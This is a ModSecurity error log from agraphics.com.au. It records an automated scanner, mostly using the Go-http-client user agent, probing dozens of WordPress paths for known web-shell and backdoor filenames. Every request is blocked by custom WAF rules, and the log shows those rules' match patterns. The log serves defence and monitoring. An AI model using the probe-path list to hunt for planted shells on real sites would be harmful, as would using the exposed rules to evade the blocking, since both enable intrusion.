[Sun Nov 23 08:58:04.184995 2025] [:error] [pid 38739:tid 38781] [client 85.203.21.235:22077] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aSJcHAdvEgJm2n2cDmpk4QAAAEw"]
[Sun Nov 23 08:58:04.454971 2025] [:error] [pid 38824:tid 38851] [client 85.203.21.201:41893] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aSJcHE8WZjXLvbHTHPcNPQAAANg"]
[Sun Nov 23 08:58:04.911562 2025] [:error] [pid 38824:tid 38830] [client 85.203.21.172:58849] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/admin.php"] [unique_id "aSJcHE8WZjXLvbHTHPcNQAAAAMM"]
[Sun Nov 23 08:58:07.290823 2025] [:error] [pid 38740:tid 38812] [client 85.203.21.45:58199] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/fm.php/sts.php"] [unique_id "aSJcHw13QPZSi6O8umXcXAAAAJA"]
[Sun Nov 23 08:58:07.523292 2025] [:error] [pid 38738:tid 38746] [client 85.203.21.207:47247] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aSJcHwytc6TL9XavPmMbPgAAAAQ"]
[Sun Nov 23 08:58:07.702044 2025] [:error] [pid 38739:tid 38779] [client 85.203.21.207:55415] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/"] [unique_id "aSJcHwdvEgJm2n2cDmpk5gAAAEo"]
[Sun Nov 23 08:58:07.941009 2025] [:error] [pid 38738:tid 38748] [client 85.203.21.41:30837] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSJcHwytc6TL9XavPmMbQAAAAAY"]
[Sun Nov 23 08:58:08.156047 2025] [:error] [pid 44652:tid 44723] [client 85.203.21.57:51159] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aSJcINiQFwsyXQDhwyAOLwAAARE"]
[Sun Nov 23 08:58:08.422444 2025] [:error] [pid 38738:tid 38765] [client 85.203.21.213:50835] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/"] [unique_id "aSJcIAytc6TL9XavPmMbQQAAABc"]
[Sun Nov 23 08:58:09.806338 2025] [:error] [pid 44652:tid 44708] [client 85.203.21.223:40247] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aSJcIdiQFwsyXQDhwyAOMwAAAQI"]
[Sun Nov 23 08:58:10.113468 2025] [:error] [pid 38739:tid 38772] [client 85.203.21.192:39371] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSJcIgdvEgJm2n2cDmpk7gAAAEM"]
[Sun Nov 23 08:58:10.329481 2025] [:error] [pid 38740:tid 38804] [client 85.203.21.58:38403] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aSJcIg13QPZSi6O8umXcYQAAAIg"]
[Sun Nov 23 08:58:10.780979 2025] [:error] [pid 38738:tid 38745] [client 85.203.21.162:26087] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/admin-wolf.php"] [unique_id "aSJcIgytc6TL9XavPmMbRgAAAAM"]
[Sun Nov 23 08:58:11.009005 2025] [:error] [pid 38739:tid 38788] [client 85.203.21.202:43479] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/log.php"] [unique_id "aSJcIwdvEgJm2n2cDmpk8QAAAFM"]
[Sun Nov 23 08:58:11.268692 2025] [:error] [pid 38739:tid 38785] [client 85.203.21.184:28959] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "aSJcIwdvEgJm2n2cDmpk8gAAAFA"]
[Sun Nov 23 08:58:11.470138 2025] [:error] [pid 38739:tid 38792] [client 85.203.21.188:33513] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aSJcIwdvEgJm2n2cDmpk8wAAAFc"]
[Sun Nov 23 08:58:12.716987 2025] [:error] [pid 38739:tid 38775] [client 85.203.21.176:59203] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/acxx.php"] [unique_id "aSJcJAdvEgJm2n2cDmpk9gAAAEY"]
[Sun Nov 23 08:58:16.172134 2025] [:error] [pid 38824:tid 38842] [client 85.203.21.41:45067] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/news-portal/error.php"] [unique_id "aSJcKE8WZjXLvbHTHPcNTwAAAM8"]
[Sun Nov 23 08:58:16.386320 2025] [:error] [pid 44652:tid 44714] [client 85.203.21.156:41679] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aSJcKNiQFwsyXQDhwyAOOAAAAQg"]
[Sun Nov 23 08:58:16.578182 2025] [:error] [pid 38824:tid 38836] [client 85.203.21.54:21747] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aSJcKE8WZjXLvbHTHPcNUQAAAMk"]
[Sun Nov 23 08:58:17.904830 2025] [:error] [pid 38740:tid 38805] [client 85.203.21.172:21159] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aSJcKQ13QPZSi6O8umXcaAAAAIk"]
[Sun Nov 23 08:58:18.555840 2025] [:error] [pid 44652:tid 44722] [client 85.203.21.176:62163] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "aSJcKtiQFwsyXQDhwyAOOwAAARA"]
[Sun Nov 23 08:58:18.750704 2025] [:error] [pid 44652:tid 44727] [client 85.203.21.58:20909] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/nav.php"] [unique_id "aSJcKtiQFwsyXQDhwyAOPAAAARU"]
[Sun Nov 23 08:58:18.941921 2025] [:error] [pid 38740:tid 38804] [client 85.203.21.222:50349] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aSJcKg13QPZSi6O8umXcawAAAIg"]
[Sun Nov 23 08:58:19.172017 2025] [:error] [pid 38740:tid 38797] [client 85.203.21.207:53351] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aSJcKw13QPZSi6O8umXcbQAAAIE"]
[Sun Nov 23 08:58:19.561618 2025] [:error] [pid 44652:tid 44724] [client 85.203.21.190:33403] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/license.php"] [unique_id "aSJcK9iQFwsyXQDhwyAOPwAAARI"]
[Sun Nov 23 08:58:19.764920 2025] [:error] [pid 44652:tid 44720] [client 85.203.21.222:30705] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/archives/"] [unique_id "aSJcK9iQFwsyXQDhwyAOQAAAAQ4"]
[Sun Nov 23 08:58:20.017079 2025] [:error] [pid 38740:tid 38820] [client 85.203.21.226:52469] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/"] [unique_id "aSJcLA13QPZSi6O8umXcbwAAAJg"]
[Sun Nov 23 08:58:21.315497 2025] [:error] [pid 38740:tid 38799] [client 85.203.21.238:46909] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aSJcLQ13QPZSi6O8umXccwAAAIM"]
[Sun Nov 23 08:58:21.500933 2025] [:error] [pid 38740:tid 38807] [client 85.203.21.167:38279] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content.php"] [unique_id "aSJcLQ13QPZSi6O8umXcdQAAAIs"]
[Sun Nov 23 08:58:21.695704 2025] [:error] [pid 38740:tid 38804] [client 85.203.21.210:21909] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSJcLQ13QPZSi6O8umXcdwAAAIg"]
[Sun Nov 23 08:58:26.937907 2025] [:error] [pid 38739:tid 38778] [client 85.203.21.176:35623] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aSJcMgdvEgJm2n2cDmplAgAAAEk"]
[Sun Nov 23 08:58:27.292939 2025] [:error] [pid 38738:tid 38743] [client 85.203.21.223:57117] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-signup.php"] [unique_id "aSJcMwytc6TL9XavPmMbTwAAAAE"]
[Sun Nov 23 08:58:27.493793 2025] [:error] [pid 38739:tid 38781] [client 85.203.21.190:46293] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "aSJcMwdvEgJm2n2cDmplBAAAAEw"]
[Sun Nov 23 08:58:27.991539 2025] [:error] [pid 38738:tid 38750] [client 85.203.21.190:25433] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/about.php"] [unique_id "aSJcMwytc6TL9XavPmMbUgAAAAg"]
[Sun Nov 23 08:58:28.201535 2025] [:error] [pid 38739:tid 38779] [client 85.203.21.204:27553] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/block-directory/"] [unique_id "aSJcNAdvEgJm2n2cDmplBgAAAEo"]
[Sun Nov 23 08:58:28.579518 2025] [:error] [pid 38739:tid 38791] [client 85.203.21.155:55345] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/m.php"] [unique_id "aSJcNAdvEgJm2n2cDmplBwAAAFY"]
[Sun Nov 23 08:58:28.788283 2025] [:error] [pid 38739:tid 38773] [client 85.203.21.156:20649] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "aSJcNAdvEgJm2n2cDmplCgAAAEQ"]
[Sun Nov 23 08:58:29.332584 2025] [:error] [pid 38824:tid 38839] [client 85.203.21.195:42031] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aSJcNU8WZjXLvbHTHPcNWwAAAMw"]
[Sun Nov 23 08:58:29.668804 2025] [:error] [pid 38824:tid 38851] [client 193.37.32.1:60051] [client 193.37.32.1] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/f.php"] [unique_id "aSJcNU8WZjXLvbHTHPcNXAAAANg"]
[Sun Nov 23 08:58:30.002003 2025] [:error] [pid 38738:tid 38752] [client 85.203.21.164:56861] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aSJcNgytc6TL9XavPmMbVgAAAAo"]
[Sun Nov 23 08:58:30.332411 2025] [:error] [pid 38824:tid 38829] [client 85.203.21.238:58687] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/"] [unique_id "aSJcNk8WZjXLvbHTHPcNXgAAAMI"]
[Sun Nov 23 08:58:30.658046 2025] [:error] [pid 38739:tid 38784] [client 85.203.21.195:56901] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aSJcNgdvEgJm2n2cDmplDQAAAE8"]
[Sun Nov 23 08:58:31.211485 2025] [:error] [pid 38738:tid 38758] [client 85.203.21.186:31379] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/shell3.php"] [unique_id "aSJcNwytc6TL9XavPmMbVwAAABA"]
[Sun Nov 23 08:58:31.554974 2025] [:error] [pid 38738:tid 38754] [client 85.203.21.184:22273] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/calendar/"] [unique_id "aSJcNwytc6TL9XavPmMbWAAAAAw"]
[Sun Nov 23 08:58:31.776270 2025] [:error] [pid 38738:tid 38745] [client 85.203.21.235:54741] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/themes/"] [unique_id "aSJcNwytc6TL9XavPmMbWQAAAAM"]
[Sun Nov 23 08:58:32.059922 2025] [:error] [pid 38738:tid 38753] [client 85.203.21.186:31079] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfour/patterns/wp-good.php"] [unique_id "aSJcOAytc6TL9XavPmMbWgAAAAs"]
[Sun Nov 23 08:58:32.355728 2025] [:error] [pid 38739:tid 38778] [client 85.203.21.227:20859] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/"] [unique_id "aSJcOAdvEgJm2n2cDmplDgAAAEk"]
[Sun Nov 23 08:58:32.714675 2025] [:error] [pid 38738:tid 38742] [client 85.203.21.45:51537] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/"] [unique_id "aSJcOAytc6TL9XavPmMbXAAAAAA"]
[Sun Nov 23 08:58:33.024282 2025] [:error] [pid 38739:tid 38781] [client 85.203.21.57:38969] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/about.php"] [unique_id "aSJcOQdvEgJm2n2cDmplEAAAAEw"]
[Sun Nov 23 08:58:33.587564 2025] [:error] [pid 38824:tid 38839] [client 85.203.21.172:57259] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/fields/"] [unique_id "aSJcOU8WZjXLvbHTHPcNZgAAAMw"]
[Sun Nov 23 08:58:38.881053 2025] [:error] [pid 38740:tid 38806] [client 85.203.21.197:34045] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/bk/"] [unique_id "aSJcPg13QPZSi6O8umXckgAAAIo"]
[Sun Nov 23 08:58:39.093184 2025] [:error] [pid 38824:tid 38844] [client 85.203.21.155:62173] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aSJcP08WZjXLvbHTHPcNbAAAANE"]
[Sun Nov 23 08:58:40.442999 2025] [:error] [pid 38738:tid 38766] [client 193.37.32.3:28253] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aSJcQAytc6TL9XavPmMbZwAAABg"]
[Sun Nov 23 08:58:45.675329 2025] [:error] [pid 38740:tid 38804] [client 85.203.21.210:47953] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aSJcRQ13QPZSi6O8umXcmAAAAIg"]
